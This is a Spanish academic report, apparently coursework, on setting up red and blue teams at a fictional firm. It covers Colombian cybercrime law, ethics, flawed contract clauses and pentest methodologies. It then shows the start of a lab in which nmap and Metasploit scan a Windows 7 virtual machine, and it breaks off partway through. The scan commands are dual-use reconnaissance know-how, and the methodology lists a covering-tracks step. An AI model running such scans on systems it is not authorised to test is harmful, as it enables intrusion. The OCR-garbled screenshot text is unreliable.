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RESUMEN

El desarrollo de este informe se centra en las diferentes estrategias que podrian
llegar a ser adoptadas por “WhiteHose Security” en su busqueda de personal e
implementacion de los equipos de Redteam y Blueteam segun la metodologia
escogida, en busca del aseguramiento y garante de soluciones tecnoldgicas
enfocadas en el sector de los servicios informaticos. Para el desarrollo de este
ejercicio se realizara un caso ficticio sobre la organizacién “WhiteHose Security”, la
cual, esta en medio de la implementacién de un equipo propio de Redteam vy
Blueteam necesitando el seleccionar herramientas, personal y cambiando su
enfoque legal para el proceso con el fin de garantizar la disponibilidad, integridad y
confidencialidad de sus servicios, asi como la integridad y legalidad del proceso.



INTRODUCCION

La sociedad actual y los acontecimientos a nivel mundial resultado de la pandemia
de Covid-19 han causado un gran cambio en los paradigmas sociales relacionados
a la forma en como se interactia y se realizan las tareas del dia a dia, acciones que
van desde consignacién bancaria, compra de alimentos/servicios e incluso la
interaccion personal, han llevado a una mayor integracion de la industria de la
informatica en cada uno de los aspectos fundamentales y funcionales del individuo
moderno. Este cambio trae como consecuencia un gran crecimiento del entorno
funcional de sistemas, cada servicio necesita ser disefiado, desarrollado e
implementado de forma tal que siga ciertos parametros y leyes que buscan proteger
la confidencialidad, integridad y disponibilidad de los servicios, asi como de la
informacion personal y empresarial que este almacena. En busca de esa seguridad
necesitada se han desarrollado mdltiples tipos de controles y un mejoramiento
continuo en todo el proceso de despliegue de un servicio, uno de los aspectos mas
importantes “La Auditoria de sistemas”.

La auditoria de sistemas es un proceso en donde se busca que cada uno de los
servicios informaticos, activos de software/hardware y redes de comunicaciones
sean lo mas seguras posible, este rastrea cada uno de los componentes por medio
de herramientas informaticas o flujos de cddigo, seguimiento de linea base de
seguridad y analisis de entorno, estos llevan al descubrimiento y posterior ejecucion
de la remediacion en aras del aseguramiento de los servicios ofrecidos. Entre las
tantas iniciativas que se encuentran en estos procesos de auditoria encontramos
los Redteam y Blueteam, estos equipos son un grupo curricular que cumple ciertas
funciones activas de auditoria sobre el entorno corporativo, su funcién esta en un
continuo sistema de ataque y deteccion de vulnerabilidades sobre las piezas que
componen los servicios y su entorno, de tal manera que llegan a simular situaciones
de alto riesgo y que pudieran llegar a causar la afectacién en cualquiera de sus
participantes. Estos equipos no son de facil implementacion y requieren una gran
cantidad de trabajo y exactitud en cuanto a temas metodologicos y legales, por ello
es necesario una correcta definicion del mismo para no incurrir en problemas
durante su implementacion y desarrollo.



GLOSARIO

Software Libre: La organizacion GNU describe el software libre como “software que
respeta la libertad de los usuarios y la comunidad. A grandes rasgos, significa que
los usuarios tienen la libertad de ejecutar, copiar, distribuir, estudiar, modificar y
mejorar el software.”!, esto comprende que cada una de las piezas catalogadas
como software libre pueden ser usadas, modificadas o distribuidos sin necesidad de
una licencia o pago por la misma.

Proyecto de software libre: Estos proyectos son librerias que cumplen funciones
especificas dentro de un marco de funcionamiento mucho mayor, es decir, son
programas que cumplen tareas especificas y tienen una licencia de software libre.

Amenaza: El instituto nacional de seguridad de Espafa?, describe una amenaza
como el aprovechamiento de una vulnerabilidad, es decir, el uso de una
vulnerabilidad de manera activa donde se atenta con la seguridad informética o de
la informacion.

Redteam: La escuela de negocios ESIC3, define Redteam como un equipo externo
gue realiza una constante amenaza a los activos de software e informacion de una
organizacion, estos se deben dedicar a manipular, filtrar, robar informacion,
denegacion del servicio o fraude de manera controlada y dando como resultado un
informe para su posterior remediacion.

Blueteam: Es un equipo enfocado en la prevencion de incidentes de seguridad,
este estudio los comportamientos de los sistemas informaticos y de sus usuarios.
Segun IT digital security* este debe ser conformado por un grupo de especialistas
multidisciplinares con el conocimiento necesario para administrar cada uno de los
frentes de ataque en sus servicios.

Hardening: La accion de Hardening consiste en tomar todas aquellas
vulnerabilidades encontradas en el entorno corporativo, en las definiciones del
CISET® el Hardening comprende cada uno de los componentes de software y

1 GNU. ¢Qué es el software libre? 2021 Free Software Foundation, Inc [Sitio web] (30/03/2022). Disponible en:
https://www.gnu.org/philosophy/free-sw.es.html

2 INCIBE, Amenaza vs Vulnerabilidad, ¢sabes en qué se diferencian? INCIBE, 2019. [Sitio web] (30/03/2022).
Disponible en: https://www.incibe.es/protege-tu-empresa/blog/amenaza-vs-vulnerabilidad-sabes-se-diferencian
3 ESIC, ed team: qué es, estrategias y ejemplo de un caso real. ESIC, 2018. [Sitio web] (30/03/2022). Disponible
en: https://www.esic.edu/rethink/tecnologia/red-team-experiencia-en-ataque

4 IT DIGITAL SECURITY, ¢Qué es un Blue Team y cémo trabaja? IT DIGITAL SECURITY, 2018. [Sitio web]
(30/03/2022). Disponible en: https://www.itdigitalsecurity.es/actualidad/2018/05/que-es-un-blue-team-y-como-
trabaja

5 CISET, Hardening. CISET, 2020. [Sitio web] (30/03/2022). Disponible en:
https://www.ciset.es/publicaciones/blog/746-hardening.



hardware existentes, que, debido al cambio continuo y deficiencias de componentes
debe ser mejorado.

Pentesting: INCIBE define el pentesting como “conjunto de ataques simulados
dirigidos a un sistema informatico con una Unica finalidad: detectar posibles
debilidades o vulnerabilidades™, este utiliza herramientas de descubrimiento y
auditoria que son capaces de reconocer de manera escalonada caracteristicas del
sistema en busca de fallos en los mismos.

Vulnerabilidad: Una vulnerabilidad es un componente de cddigo o software que
presenta defectos, pero, estos defectos deben permitir que un tercero “atacante”
pueda sacar provecho de ellos en un entorno corporativo a que no pertenece como
lo indica Software LAB’.

CVE: INCIBE?® define CVE como “Common Vulnerabilities and Exposures, siglas
CVE, es una lista de informacion registrada sobre conocidas vulnerabilidades de
seguridad, donde cada referencia tiene un niumero de identificacién Unico.1 De esta
forma provee una nomenclatura comun para el conocimiento publico de este tipo de
problemas y asi facilitar la comparticién de datos sobre dichas vulnerabilidades.”.

Intrusién: UUS Seguridad integral® en su articulo sobre intrusiéon y sistemas de
prevencion resume intrusién como “un ingreso no autorizado a un sistema, red o
dispositivo”, pero, es necesario aclarar que esta se realiza por medio del
aprovechamiento de una vulnerabilidad, haciendo latente una amenaza de
seguridad.

Entorno corporativo: Es el conjunto de tecnologias, personas y espacios que
hacen parte del desarrollo comercial de una empresa, Nuria Estruga'® lo comprende
como todo aquel participante en el desarrollo sea tecnologia o persona, y que puede
ser usado por un tercero para su propio beneficio.

6 INCIBE, ¢(Qué es el pentesting? Auditando la seguridad de tus sistemas. INCIBE, 2019. [Sitio web]
(30/03/2022). Disponible en: https://www.incibe.es/protege-tu-empresa/blog/el-pentesting-auditando-seguridad-
tus-sistemas

7 SOFTWARE LAB, ¢Qué es una vulnerabilidad informatica? SOFWARE LAB, 2018. [Sitio web] (30/03/2022).
Disponible en: https://softwarelab.org/es/que-es-una-vulnerabilidad-informatica/

8 INCIBE, Vocabulario General CVE. INCIBE, 2015. [Sitio web] (30/03/2022). Disponible en: https://www.ccn-
cert.cni.es/publico/seriesCCN-STIC/series/400-Guias_Generales/401-
glosario_abreviaturas/index.html?n=2142.html

9 USS Seguridad integral. Sistema de deteccién de intrusos: tipos y ejemplos. USS, 2019. [Sitio web]
(30/03/2022). Disponible en: https://uss.com.ar/preguntas-frecuentes/sistema-de-deteccion-de-intrusos/.

10 ESTRUGA NURIA, La importancia de la seguridad informatica en el entorno empresarial. EALDE, 2020. [Sitio
web] (30/03/2022). Disponible en: https://www.ealde.es/importancia-seguridad-informatica-empresas/



OBJETIVOS

OBJETIVO PRINCIPAL
e Presentar de manera formal las falencias encontradas en el proceso de
captacion de talento e implementacion de equipos de Redteam y Blueteam,
asi como de los escenarios de ataque presentados.

OBJETIVOS ESPECIFICOS

o Referenciar las politicas del pais en cuanto a los temas relacionados a
seguridad informética que podrian llegar a afectar los procesos de
contratacion y formaciéon de equipos de Redteam y Blueteam.

e Reconocer las falencias presentadas en el proceso de contratacion de la
entidad en cuanto a la aplicacion de las diferentes normas legales vigentes.

e Explorar los escenarios objetivo-presentados y presentar las falencias
encontradas en las maquinas virtuales de estudio entregadas.

e Presentar un resumen de las vulnerabilidades encontradas y como
solventarlas dando a conocer recomendaciones de remediacion.



CASO 1: ACTUACION ETICA Y LEGAL

LEGISLACION VIGENTE

Como primer paso, se pasara a reconocer la Ley 1273 de 2009'' como Unica
legislacion vigente en Colombia para el tema de ciberseguridad, lo cual hace
bastante pobre le control del pais sobre este tema en comparacién con otros paises
de Latinoamérica y el mundo. Este documento se encuentra abordado de manera
general y poco detallada en su mayoria las posibles acciones que podria realizar un
ciberdelincuente las cuales son presentadas como:

Acceso abusivo a sistemas informaticos: Todo actor que ingrese de manera
abusiva a un sistema de informacion de cualquier tipo sera penado por el
articulo 269A con entre 100 y 1000 salarios minimos vigentes y posiblemente
48 a 96 meses de prision.

Obstaculizaciéon no autorizada de sistemas informaticos: Todo actor que
altere de cualquier manera el funcionamiento de un sistema informatico sera
penado por el articulo 269B con entre 100 y 1000 salarios minimos vigentes
y posiblemente 48 a 96 meses de prision.

Interceptacion no autorizada de datos: Todo actor que acceda a informacion
confidencial o sensible sera penado por el articulo 269C con entre 32y 72
meses de prision.

Dafios a sistemas informaticos: Todo actor que sin ser parte de un entorno
corporativo 0 se encuentre en funciones sobre el mismo realice un dafo
sobre un sistema informatico sera penado por el articulo 269D con entre 100
y 1000 salarios minimos vigentes y posiblemente 48 a 96 meses de prision.

Uso de software malicioso: Todo actor que use, implemente, cree o distribuya
software malicioso sera pena por el articulo 269E con entre 100 y 1000
salarios minimos vigentes y posiblemente 48 a 96 meses de prision.

Violacion de datos personales: Todo actor que obtenga, compile, substraiga
0 utilice a beneficio propio datos personales o sensibles de terceros sera
penado por el articulo 269F con entre 100 y 1000 salarios minimos vigentes
y posiblemente 48 a 96 meses de prision.

11 SCIELO, Delitos informaticos y entorno juridico vigente en Colombia. SCIELO, 2018. [Sitio web] (30/03/2022).
Disponible en: http://www.scielo.org.co/scielo.php?script=sci_arttext&pid=S0123-14722010000200003



e Suplantacion de sitios web: Todo actor que suplante un sitio web oficial sera
penado por el articulo 269G con entre 100 y 1000 salarios minimos vigentes
y posiblemente 48 a 96 meses de prision.

ACCIONAR DE LOS EQUIPOS DE REDTEAM Y BLUETEAM

Como segundo paso se pasara a determinar las acciones éticas que deberian
cumplir los profesionales pertenecientes a los equipos de en Colombia segun
COPNIA (Codigo de ética para el ejercicio de la Ingenieria en general y sus
profesiones afines y auxiliares) que es la base legal en este dominio:

e Deberes generales de los profesionales: El articulo 31 en sus numerales e, f
y g determinan que los profesionales en cualquiera de sus funciones deben
colaborar con las autoridades competentes segun se requiera para la
ejecucion de sus investigaciones.

e Deberes generales y prohibiciones de los profesionales: Los articulos
32,34,35 y 40 hablan sobre las prohibiciones y actos que no deben ser
realizados por un profesional que actle correctamente de manera ética y
moral:

o Articulo 32: No aceptar ningun tipo de soborno o compensacién por
realizar acciones fuera de su alcance o de manera ilicita.

o Articulo 34: No aceptar trabajos que vayan contra la disposicion legal
actual.

o Articulo 35 y 40: Respetar y hacer respetar su profesion cumplido a
cabalidad las disposiciones legales en Colombia.

OTROS ASPECTOS EN EL DESARROLLO DE SUS FUNCIONES??

Como tercer paso se tendra en cuenta algunos accionares de los equipos de
Redteam y Blueteam que deben ser tenidos en cuenta para el correcto cumplimiento
de las leyes anteriormente expuestas:

e Dado que las acciones realizadas por el Redteam comprenden acciones que
van contra la ley es necesario el plasmar por medio de documentacion las

12 MISAZAT719, Metodologias y Herramientas de Ethical Hacking. MISAZA719, 2013. [Sitio web] (30/03/2022).
Disponible en: https://seguridadinformaticahoy.blogspot.com/2013/02/metodologias-y-herramientas-de-
ethical.html
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funciones y el alcance que tiene el equipo, dando previa autorizacion para su
desarrollo.

El equipo de Blueteam tiene como funcién el prevenir e identificar los
comportamientos penados por la ley tanto del equipo de Redteam, como de
usuarios internos.

El proceso de equipos Redteam y Blueteam debe ser continuo, esto lleva a
gue en cualquier momento puedan ser encontradas vulnerabilidades y fallos
de seguridad que comprometan la infraestructura de la organizacion, lo cual
permita un modelo de mejora continua que lleve el nivel de seguridad a
nuevos niveles.

Todas las herramientas que se usaran y expondran para este ejercicio
deberan dar de software libre con licencia OpenGL tanto en sistemas
operativos, como en formas de descubrimiento y herramientas
administrativas.

FUNCIONES EQUIPO REDTEAM?3

Para el ejercicio y como parte de la exposicion y limitacién de funciones del equipo
Redteam se definen sus funciones como:

Descubrimiento de sistemas: El equipo podra realizar exploracion externa de
los equipos de la organizacion con tal de reconocer e identificar posibles
vulnerabilidades tanto por sistemas operativos, exposicion de informacion,
escaneo de puertos u otros que vengan al caso.

Comprobaciéon de casos de vulnerabilidad: Para las vulnerabilidades
encontradas podran el verificar por medio de cddigo, practicas o exploits que
el sistema operativo o software encontrado es definitivamente vulnerable.

Mapeo de activos o servicios: El equipo de Redteam debera intentar hacer
un mapa de la organizacion con la informacion conseguida en estos
escaneos, lo cual sera de gran ayuda para conocer la informacién que podria
obtener un atacante.

Disefio y plan de accion: Durante el proceso, el equipo de Redteam puede
conseguir mayo informacion sobre los activos, version u otros softwares, es
necesario el cambiar el modelo y tipo de explotacion para obtener mejores
resultados.

13 KEEPCODING, ¢Qué es Red Team en Ciberseguridad? KEEPCODING, 2018. [Sitio web] (30/03/2022).
Disponible en: https://keepcoding.io/blog/que-es-red-team-en-ciberseguridad/
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Comunicacion de resultados: El equipo de Redteam realizara un informe por
el cual sera llevado al equipo de Blueteam en busca de solventar los
hallazgos.

Para estos ejercicios no habra implicaciones de acceso fisico o ingenieria
social.
FUNCIONES EQUIPO BLUETEAM?4

Para el ejercicio y como parte las funciones internas del equipo de Blueteam se
determinan que las tareas a realizar comprenden:

Descubrimiento de sistemas: El equipo podra realizar exploracion interna de
los equipos de la organizacion con tal de reconocer e identificar posibles
vulnerabilidades tanto por sistemas operativos, exposicion de informacion,
escaneo de puertos u otros que vengan al caso.

Comprobacién de casos de vulnerabilidad: El equipo de Blueteam
comunicara las posibles vulnerabilidades al equipo Redteam para su
exploracion.

Disefio y plan de accion: Al recibir el informe del Redteam, Blueteam pasara
a el hardening y solucion de las vulnerabilidades encontradas por lo cual
deberd documentar el proceso y realizar registro sobre los cambios
realizados.

Auditoria: Garantizar los controles y su correcta aplicacion, asi como realizar
control de auditoria SIEM.

Cumplimiento linea base: Es necesario el tener sistemas operativos con linea
base de seguridad

FALLAS ENCONTRADAS EN EL PROCESO DE CONTRATACION

En el anexo 2.1(Generalidades del proceso): Como la falta mas evidente esta el
continuo uso de un contrato no revisado de origen dudoso (dada la situacion de
quien lo redacto y reviso) en un proceso tan delicado como lo es el manejo y trata
de equipos de Redteam y Blueteam, dado que estos equipos obtienen y manejan
informacion privilegiada que debe tener un estricto control y manejo legal. En este
tipo de contratos se debe delimitar de forma correcta las funciones y alcance de

14 |T DIGITAL SECURITY, ¢Qué es un Blue Team y como trabaja? IT DIGITAL SECURITY, 2018. [Sitio web]
(30/03/2022). Disponible en: https://www.itdigitalsecurity.es/actualidad/2018/05/que-es-un-blue-team-y-como-

trabaja
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cada equipo, asi como la especificacion de procesos en herramientas y alcance
permisitos, trata de informacion y posibles afecciones a casuar, el dejar este tipo de
contrato sin revision lleva a que la empresa no tenga ese control estricto necesario
y pueda en algunos escenarios llegar a incurrir en delitos informaticos. También esta
el tema de exposicion de recursos en la prueba, considero que es mas una mala
practica dado que estan dando informacién de las herramientas y posible estructura
interior.

En el anexo 2.2 (Contrato Legal): En el contrato se observa una falta ética y legal
gigante con este anexo “en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, prOxima a remotamente, ni a
través de ninguna otra persona o de sus subalternos o funcionarios, autoridades
legales, asesores o0 cualquier persona relacionada con ella, la informacion
confidencial sobre procesos ilegales dentro de Whitehouse Security no podran ser
divulgados” que de por si lleva a intentar esta sobre la ley por medio de clausulas
en contratos, estan buscando mantener como secreta interceptaciones ilegales y
gue no van con el codigo de ética, laboral o legal del pais e ignora completamente
a contraprestacion las obligaciones legales del mismo.

En el anexo 3 se hace referencia directamente a procesos ilegales en un anexo de
confidencialidad “en virtud del presente acuerdo de confidencialidad, la parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente, ni a
través de ninguna otra persona o de sus subalternos o funcionarios, autoridades
legales, asesores o0 cualquier persona relacionada con ella, la informacion
confidencial sobre procesos ilegales dentro de Whitehouse Security no podran ser
divulgados” lo cual es una clara falta que busca estar por encima de la ley y va
contra el codigo tanto de ética como legal “Articulo 269C: Interceptacion de datos
informaticos. El que, sin orden judicial previa intercepte datos informaticos en su
origen, destino o en el interior de un sistema informético, o las emisiones
electromagnéticas provenientes de un sistema informatico que los transporte.” Dado
gue en el contrato se referencia posteriormente a que se tratan datos de terceros y
otros procesos no especificados; también vemos que es de completa
responsabilidad del profesional la informacién manejada, por tanto intentan zafarse
de su responsabilidad legal lo cual se refleja en “Las partes (nombre estudiante —
nombre empresa) se comprometen a esforzarse en resolver mediante los
mecanismos alternativos de solucion de conflictos cualquier diferencia que surja con
motivo de la ejecucion del presente acuerdo. En caso de que la informacién ilegal o
confidencial sea encontrada en manos del receptor este debera acudir a un abogado
privado y dejar exenta de cualquier responsabilidad legal y penal a Whitehouse
Security.” Lo que también va contra el codigo profesional “Denunciar los delitos,
contravenciones Y faltas contra este Codigo de Etica, de que tuviere conocimiento
con ocasion del ejercicio de su profesion, aportando toda la informacion y pruebas
gue tuviere en su poder; teniendo en cuenta que una de las clausulas dice que no
podria denunciar actos ilegales dentro de la empresa, estaria violando es inciso.”
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En general vulnera toda la ley dado que no hay un alcance en el proceso, pero, si
fuéramos a ser especificos segun el contrato seria obtencion de datos de medios
informaticos de un tercero.

POSIBLES METODOLOGIAS A USAR EN EL PROCESO

ISSAF (INFORMATION SYSTEMS SECURITY ASSESSMENT FRAMEWORK):
Marco de trabajo en el cual se define un plan de pruebas, donde ciertos
dominios cubren procesos tecnoldgicos especificos consignados en un
documento general guia. Es una de las metodologias de mayor uso en
entidades financieras, de servicios y tecnoldgicas en cuanto a gestion de su
seguridad interna y aseguramiento de procesos, esta busca el
reconocimiento de las fortalezas u debilidades mediante el desarrollo de una
auditoria a las entidades, donde, una serie de dimensiones a evaluar genera
un perfil resumen de seguridad. Entre las dimensiones evaluadas

encontramos:
. Politicas y procedimientos de seguridad.
. Areas de comercio y servicio TI.
. Pentesting y andlisis de vulnerabilidades.
. Modelos de evaluacion generales o controles de seguridad

(Configuraciones, riesgos, procesos de negocio y tecnoldgicos).

Este modelo se centra en el cumplimiento y aplicacién de politicas tales como
ISO27000 y practicas relacionadas como pueden ser los marcos de trabajo como
SCRUM. Donde unas etapas de preevaluacion dan una vista general del nivel de
seguridad y necesidades de implementacion,

OS (OFFENSIVE SECURITY)!: Esta metodologia consiste en a la ejecucion
ordenada de una serie de herramientas con fin de probar el nivel de seguridad de
un entorno corporativo y su infraestructura, es mas practica y menos analitica. Las
herramientas seleccionadas den estar orientadas a reconocer las falencias de
seguridad, vulnerabilidades, malas practicas y ser agresivas con el entorno objetivo
de tal manera que causen cambios significativos en su comportamiento al verse
comprometidas. Esta metodologia busca el emular a un 100% un ataque real como
parte de un proceso de evaluacién de seguridad, por tanto, también se reflejaran las

15 QISSG. Information Systems Security Assessment Framework (ISSAF). OISSG, 2006. [Sitio web]
(30/03/2022). Disponible en: https://untrustednetwork.net/files/issaf0.2.1.pdf

16 IN-NOVA. Hacking Etico y Técnicas de Hacking Avanzadas sobre Windows. IN-NOVA, 2020. [Sitio web]
(30/03/2022). Disponible en: https://www.in-nova.org/es/soluciones-y-servicios/formacion-y-
entrenamiento/formacion-activa/hacking-etico-tecnicas-hacking-windows
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consecuencias y alcance de este, esto con el fin de conocer a detalle el nivel de
seguridad sin saltar sobre ningun control a implementar.

Esta metodologia sigue una serie de pasos, donde, por medio de una pregunta se
definirhd el ambiente desde donde se lanzard el atague como primera fase, se
reconoceran los resultados en la segunda y se realizara un reporte de resultados
como fase final, estos pasos son:

Posicionamiento: ¢Do6nde estara ubicado el atacante? ¢ Sera externo o
interno? ¢ Como se espera lograr con el ataque?

Visibilidad: ¢Qué informacion inicial se dara al atacante? ¢Qué tipo de
activos intentara atacar?

Perfil adoptado: ¢Qué tipo de perfil tomara el atacante? ¢Cual es la
necesidad del ataque? ¢ Qué tipo de acceso tendra el atacante?
Reconocimiento pasivo: ¢ Se entrego la informacion necesaria? ¢ Conoce
el atacante la informacion? ¢Es el perfil muy poco para las tareas a
realizar? ¢ Como se accedera al objetivo?

Reconocimiento activo superficial: ¢Qué puntos son necesarios al
reconocer el camino al objetivo? ¢Qué mas activos se veran afectados
durante el ataque?

Reconocimiento activo en profundidad: ¢Qué protocolos seran usados?
¢,Cuél es el canal principal del ataque? ¢Qué aplicaciones se veran
involucradas?

Andlisis de vulnerabilidades: ¢ Qué vulnerabilidades fueron encontradas?
¢, Qué puertos estan expuestos? ¢Cual es el alcance de cada
vulnerabilidad? ¢ Estan las vulnerabilidades encontradas realmente en el
sistema objetivo?

Explotacion o ataque puro: ¢fueron las vulnerabilidades encontradas
realmente explotables? ¢Que alcance tuvo el ataque final? ¢Cudles
fueron las herramientas mas efectivas?

Como pasos finales pasamos a reconocer aquellos pasos practicos donde se busca
la terminacion del proceso y su informe:

Consolidacion: Consiste en acoplar y juntar los diferentes tipos de
informacion y resultados del proceso.

Borrado de rastros: Se busca el ocultar las huellas del proceso.
Reportes: es un resumen general de todo el proceso, donde, son
presentados resultados y posibles resultados de auditoria sobre el
sistema objetivo u entorno corporativo estudiado.
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CASO 2: ANALISIS DEL ATAQUE

PASOS INICIALES: Caracteristicas/exploracion del laboratorio.
Como primer paso se muestra la informacion asociada a las maquinas
pertenecientes al laboratorio realizado:

Imagen 1. Windows 7 x64.

B8 Administrador: C:\Windows'system32\cmd.exe
Microsoft Windows [Uersidn 6.1.76011

! Copyright (c> 208? Microsoft Corporation. Reservados todos los derechos.
C:Userssusuwario>ripconfig

ELE RN

Configuracién IP de Windows
reciclaje

Adaptador de Ethernet Conexidn de Area local:

Sufijo DMS especifico para la conexidn. .
Direccidn IPub . : 2808: 92 2480:1a2a:4842:9ced: 2938 =7898

Direccién IPub temporal. . . = 28PP:e2:248@:1a2 chc:5a2

Uinculo: direceidn I1Pu6 local. H 4842:9ce4:4e38:7898x11

Direccidn IPuvd. . . 192.168 a

Mascara de subred . - : .a

Puerta de enlace pl‘edetelmlnada - H l-‘eBB heSb dSff:febhc:24dx11
i92.168.1.254

Adaptador de tinel isatap.{SBESBED2-9BA4-4799-BEB3-D289D73C2468}:

Estado de los medios. - : medios desconectados
Sufijo DHS especifico para la conexidn. . :

C:\Userssusuario?

Fuente: propia

Imagen 2. Kali Linux.

S emmP D] O 4H A Q66 |@ G

' g root@kali: ~

File Actions Edit View Help
Trash

etho: fla 63<UP, Bl CAST, M > mtu 1500
.168. 5.255.255.0 broadcast 192.168.1.255
6 2800: 11a2a:5 becc:fc10:7eba prefixlen 64 scopeid 0x
= o<global>
File Syste inet6 fe ff:fe95:bd54 prefixlen 64 scopeid 0x20<link>
inetb 2¢ 480:1a2a:a00:27ff:fe95:bd54 prefixlen 64 scopeid 0x0
<global>
uqueuelen 1000 (Ethernet)

f 3 r r () frame 0
TX packets 43 bytes .9 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions 0

P, LOOPBACK,RUNNING> mtu 65536

1 prefixlen 128 scopeid 0x1@<host>
queuelen 1000 (Local Loopback)
ts 0 bytes 0 (0.0 B)
0 dropped @ overruns @ frame 0
ckets @ bytes 0 (0.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

Fuente: propia

Para la realizacion de este ejercicio pasaremos a usar 2 software libres presentes
en el sistema operativo Kali Linux, por un lado, para el escaneo de puertos se
utilizarA NMAP y para el escaneo de vulnerabilidades en sistema operativo y
software presentaremos metaexploit.
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NMAP es una herramienta bastante popular usada en temas de descubrimiento de
activos sobre la red. En este caso y para simular el ataque vamos a verificar como
seria la fase de descubrimiento y el posterior escaneo con la herramienta. Para esto
comenzamos descubriendo los activos disponibles en la red con el comando “nmap

-sn 192.168.1.0/24"

Imagen 3. Escaneo inicial.

/nmap.org ) at 2
1.6

1.10

(6 hosts up) scanned in 3.44 seconds

Fuente: propia

Podemos ver que se encuentra el escaneo de la maquina de Windows 7 x64 la cual
estd por su IP, se procede a realizar un escaneo de puertos de las maquinas

objetivo.

Imagen 4. Escaneo de puertos w7x64.

PORT
80/tcp
135/tcp
139/tcp
£45/tcp
554/tcp
2869/tcp

5357/tcp
10243/tcp
49152 /tcp
49153/tcp
49154/tcp
49155/tcp
49156/tcp

STATE SERVICE

open
open
open
open
open
open
open
open
open
open
open
open
open

http

msrpc
netbios-ssn
microsoft-ds
rtsp

icslap
wsdapi
unknown
unknown
unknown
unknown
unknown
unknown

Fuente: propia

Identificando ya los puertos de la maquina pasaremos con metaexploit a verificar el
servicio especifico y version en cada uno de ellos.
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Imagen 5. Escaneo puerto 135.

msf6 > db_nmap -sV 192.168.1.1@ -p 1
Nmap: Starting Nmap 7.92 ( http
Nmap: Nmap scan report for 192.
Nmap: Host is (0.8 .
Nmap: PORT STATE SER #EE-IDN
Nmap: 135/ open msrpc Microsoft wind0w5 RPC

Nmap: Sel e Info: 0S: Windows; CPE: c microsoft:windows

] rvice detection performed. PlemSQ report any incorrect res
https: // submit/

Nmap: Nmap done: 1 IP address (1 host up) scanned in 6.5@ seconds

Fuente: propia

Imagen 6. Escaneo puerto 139.

msf6 > db_nmap -sV 192.168.1.18 -p 139

Nmap: Starting Nmap 7.92 ( nmap.org )} at 2 3-06 87:21 EST

Nmap: Nmap scan :ﬂ r

Nmap: Host is .

Nmap: PORT 5 SERVICE

Nmap : 8 open netbios-ssn Mlt:DJJfT Windows netbios-ssn

Nmap : ce Info: 05: Windows; CPE: cpe:/o:microsoft:windows

Nmap Y detection performed. Please report any incorrect r
https://nmap.org/submit/

Nmap: Nmap done: 1 IP address (1 host up) scanned in 6.54 seconds

Fuente: propia

Imagen 7. Escaneo puerto 445.

msf6 > db_nmap -sV 192.168

Nmap: Starting Nmap 7 ( nmap.org

Nmap: WNmap scan repor

Nmap: Host is up (

Nmap : PDFT STATE SERVICE

Nmap: 44 cp open microsoft-ds H11:a;a+T Windows 7 - 1@ microsoft-ds (w
orkgroup: | ROUP)

Nmap: Serwvice Info: Host: PC @6; 05: Windows; CPE: cpe:/o:microsoft:wi
ndows

Nmap: Service detection performed. Please report any incorrect 1
'submit/
Nmap done: 1 IP address (1 host up) scanned in 6.45 seconds

Fuente: propia
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Imagen 8. Escaneo puerto 554.

msf6 > db_nmap -sV 192.168
Nmap: Starting Nmap 7. ( nmap.org ) at
Nmap: ap scan re r 192, 1.1@
Mmap: Host is (e
Nmap: PORT STATE ¢

ET open

Nm e detection performed. Please r any incorrect
https ubmit/

Nmap: Nm:p donn 1 IP address (1 host up) scanned im 113.58

Fuente: propia

Imagen 9. Escaneo puerto 2869.

msf6 > db_nmap -sV 192.168
Nmap: Starting Nmap 7.
Nmap: Nmap scan repor
Nmap: Host is up (@ Latenny,.
Nmap: PORT STATE SERVICE VERSION
- “Tip open http Microsoft HTTPAPI httpd 2.@ /
e Info: 05: Windows; CPE: e:/o:microsoft:windows
detection performed. Please report any incorrect
.org/submit/
Nmap: Nmap done: 1 IP address (1 host up) scanmed inm 35.
msfe >

Fuente: propia

Imagen 10. Escaneo puerto 5357.

msfé > db_nmap -sV 192.168.1.180 -p 5
Nmap: Starting Nmap 7.92 ( https://nmap.org )} at 2
Nmap: Nmap scan report for 192.1
Nmap: Host is up (0.00044s latency).
Nmap: PORT STATE SERVICE VERSION
Nmap: 5357/ http Microsoft HTTPAPI httpd 2.8 (SSDP/UPnP)

Nmap : r : fo: 0S: Windows; CPE: e:/o:microsoft:windows

Nmap: Service detection performed. Please report any incorrect results a
https ap.org/submit/

Nmap: Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds

Fuente: propia
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Imagen 11. Escaneo puerto 10243.

msf6 > db_nmap -sV 192.16!
Starting Nmap 7 ( - ) at 2 @3-86 B7:31 EST
Nmap scan report for
Host is up (

Nmap :
Nmap:
Nmap :
Nmap :
Nmap :
Nmap :

Nm
https

Nmap :

VERSION
Microsoft HTTPAPI httpd 2.8 (SSDP/UPNP)
e:/o:microsoft:windows
lease report any incorrect
rg/submit/

Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds

Fuente: propia

Imagen 12. Escaneo puerto 49152.

mst6 > db_nmap -sV 192.168.1.18 -p 49152

Nmap:
Nmap :
Nmap :
Nmap:
Nmap:
Nmap :
Nma
https:
Nmap :

Starting MNmap ( http Imap.org
Nmap scan report for 192
Host is up (0. @s late -
PORT STATE SERVICE VERSION
'tcp open msrpc Microsoft Windows

imap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.13 seconds

Fuente: propia

Imagen 13. Escaneo puerto 49153.

msté > db_nmap -sV 192.168

Nmap:
Nmap :
Nmap :
Nmap:
Nmap:

Nma

Starting Nmap 7
Nmap scan report
Host is up (0.0
PORT STATE
open mMSrpc Microsoft Windows RPC
Info: 05: Windows; CPE: cpe:/o:microsoft:windows
e detection performed. Plea

'submit/

Nmap done: 1 IP address (1 host up) scanned im 59.08 seconds

Fuente: propia

20



Imagen 14. Escaneo puerto 49154,

msf6 > db_nmap -sV 192
Nmap: Starting Nmap 7 [ ) at 2022-83-86 11:21
Nmap: Nmap scan report for
Nmap: Host is up (@ 4s latend
Nmap: PORT STATE IWVICE VE
Nmap: 49154/tcp open mMSTpC Microsoft Windows RPC

Nmap: 5S¢ Info: 05: Windows; CPE: cpe:/o:microsoft:windows

Mmap: Service detection performed. Please report any incorrect
https nmap.org/submit/

Nmap: Nmap done: 1 IP address (1 host up) scannmed in 54.13 seconds

Fuente: propia

Imagen 15. Escaneo puerto 49155.

» db_nmap -sV 192.16! 3
Nmap: Starting Nmap 7 i S nmap.org )} at 2 @3-86 11:23 EST
